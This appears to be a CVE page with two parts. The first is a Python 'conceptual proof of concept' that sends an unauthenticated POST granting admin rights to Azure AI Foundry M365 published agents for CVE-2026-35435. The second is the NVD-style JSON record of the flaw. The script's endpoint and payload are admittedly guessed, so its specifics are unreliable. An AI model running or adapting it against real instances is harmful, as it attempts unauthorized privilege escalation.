CVE-2026-35435

import requests # Conceptual Proof of Concept for CVE-2026-35435 # Description: Exploits improper access control to elevate privileges in Azure AI Foundry M365 agents. def exploit_cve_2026_35435(target_url): """ Attempts to exploit the access control vulnerability. """ # The vulnerable endpoint might be an API managing agent permissions endpoint = f"{target_url}/api/agents/published/update_permissions" headers = { "User-Agent": "CVE-2026-35435-Scanner", "Content-Type": "application/json", "Authorization": "Bearer " # Exploit requires no auth (PR:N), header kept for structure simulation } # Malicious payload attempting to grant administrative access payload = { "agent_id": "target_m365_agent", "permission_level": "admin", "bypass_acl": True } try: print(f"[*] Sending exploit request to {endpoint}...") response = requests.post(endpoint, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Potential privilege escalation successful!") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with actual target URL for testing purposes in a controlled environment target = "https://<target-azure-foundry-instance>" exploit_cve_2026_35435(target)

{"cve": {"id": "CVE-2026-35435", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.787", "lastModified": "2026-05-08T20:00:59.793", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure AI Foundry M365 published agents allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_ai_foundry:-:*:*:*:*:*:*:*", "matchCriteriaId": "4A693909-5648-4575-B10E-F06B77153C21"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}